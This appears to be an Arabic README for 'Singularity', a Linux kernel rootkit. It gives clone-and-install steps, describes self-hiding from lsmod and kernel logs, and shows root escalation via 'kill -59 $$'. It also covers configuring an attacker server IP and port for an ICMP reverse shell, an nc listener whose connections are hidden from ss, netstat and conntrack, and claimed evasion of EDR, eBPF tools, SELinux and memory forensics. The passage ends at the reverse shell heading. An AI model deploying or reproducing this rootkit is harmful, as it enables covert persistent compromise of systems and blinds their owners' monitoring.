
روتكيت خفي لنواة لينكس (LKM) لإصدارات النواة 6.x مع إخفاء متقدم للعمليات والشبكة، وتصعيد الصلاحيات، وتفادٍ شامل لأدوات أمان eBPF وLKRG وSELinux والتحليل الجنائي للذاكرة.
"هل نعطي الطب الشرعي بعض العمل؟"
هذا المشروع مستوحى من امرأة مميزة جدًا بالنسبة لي: Mocinha
Singularity هو روتكيت قوي لوحدة نواة لينكس (LKM) مصمم للأنوية الحديثة 6.x. يوفر قدرات تمويه شاملة من خلال اعتراض استدعاءات النظام المتقدم عبر بنية ftrace.
المقال البحثي الكامل (نسخة قديمة): Singularity: روتكيت نواة لينكس - الزعيم الأخير
دراسة حالة لتجاوز EDR: اختراق Elastic EDR باستخدام Singularity
فيديو إثبات المفهوم: Singularity ضد أدوات أمن eBPF: Singularity ضد أدوات أمن eBPF
اختراق أمان eBPF باستخدام خطافات Singularity: اختراق eBPF
Singularity هي روتكيت متطور يعمل على مستوى النواة، ويوفر:
/sys/fs/cgroup/*/cgroup.procscd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..
هذا كل شيء. تقوم الوحدة تلقائيًا بما يلي:
- تخفي نفسها من lsmod و /proc/modules و /sys/module
- تمسح أعلام taint الخاصة بالنواة
- تصفية السلاسل الحساسة من dmesg و journalctl -k و klogctl
- تبدأ بحماية ملفاتك وعملياتك المخفية
### ملاحظات مهمة
**تقوم الوحدة بإخفاء نفسها تلقائيًا بعد التحميل**
**لا توجد ميزة إلغاء التحميل - يلزم إعادة التشغيل للإزالة**
**اختبرها في جهاز افتراضي أولاً - لا يمكن إزالتها دون إعادة تشغيل**
## الإعداد
### تعيين عنوان IP والمنفذ الخاص بالخادم
**عدّل `include/core.h`:**```c
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
عدّل modules/icmp.c:
/*
* Edit the remote host to your IP address
*/
#define REMOTE_HOST "127.0.0.1"
/*
* Change the remote port
*/
#define REMOTE_PORT 4444
إذا حاولت تنفيذ هذه الوحدة، سترى أن الوحدة تحاول الاتصال بخادم وتنتظر البيانات الواردة. في الخطوة التالية، سندرس كيفية إنشاء الخادم والمعالج الخاص بذلك. أيضًا، عند تشغيل الوحدة، يتم تشفير أول بايتات يتم نقلها بين العميل والخادم بمفتاح XOR ثابت سنعرّفه أدناه (collect.c).```c
#define SRV_PORT "8081" // Change this to your desired port
**عدّل `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081 // Must match SRV_PORT
عدّل modules/hiding_tcp.c:```c
#define PORT 8081 // Must match SRV_PORT
**مهم**: يجب أن تتطابق جميع تعريفات المنافذ لضمان إخفاء الشبكة بشكل صحيح ووظيفة الصدفة العكسية عبر ICMP.
## الاستخدام
### إخفاء العمليات```bash
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
ستكون العملية غير مرئية لـ ps وtop وhtop و/proc وجميع أدوات المراقبة. جميع العمليات الفرعية يتم تتبعها وإخفاؤها تلقائيًا.
الملفات المطابقة لأنماطك المكوّنة يتم إخفاؤها تلقائيًا:```bash mkdir singularity echo "secret" > singularity/data.txt
ls -la | grep singularity
cat singularity/data.txt
cd singularity
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>
### كن الجذر
**الطريقة القائمة على الإشارات:**```bash
kill -59 $$
id # uid=0(root)
يتم إخفاء الاتصالات على المنفذ المُكوّن لديك (الافتراضي: 8081) تلقائيًا:```bash nc -lvnp 8081
ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)
ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)
تُسقَط الحزم على مستوى المقبس الخام (tpacket_rcv) وتكون مخفية عن:
- واجهات /proc/net/* (tcp, tcp6, udp, udp6)
- /proc/net/nf_conntrack
- استعلامات Netlink SOCK_DIAG (المستخدمة من قبل ss, lsof)
- رسائل Netlink NETFILTER/conntrack (المستخدمة من قبل أداة conntrack)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>
### شل عكسي عبر ICMP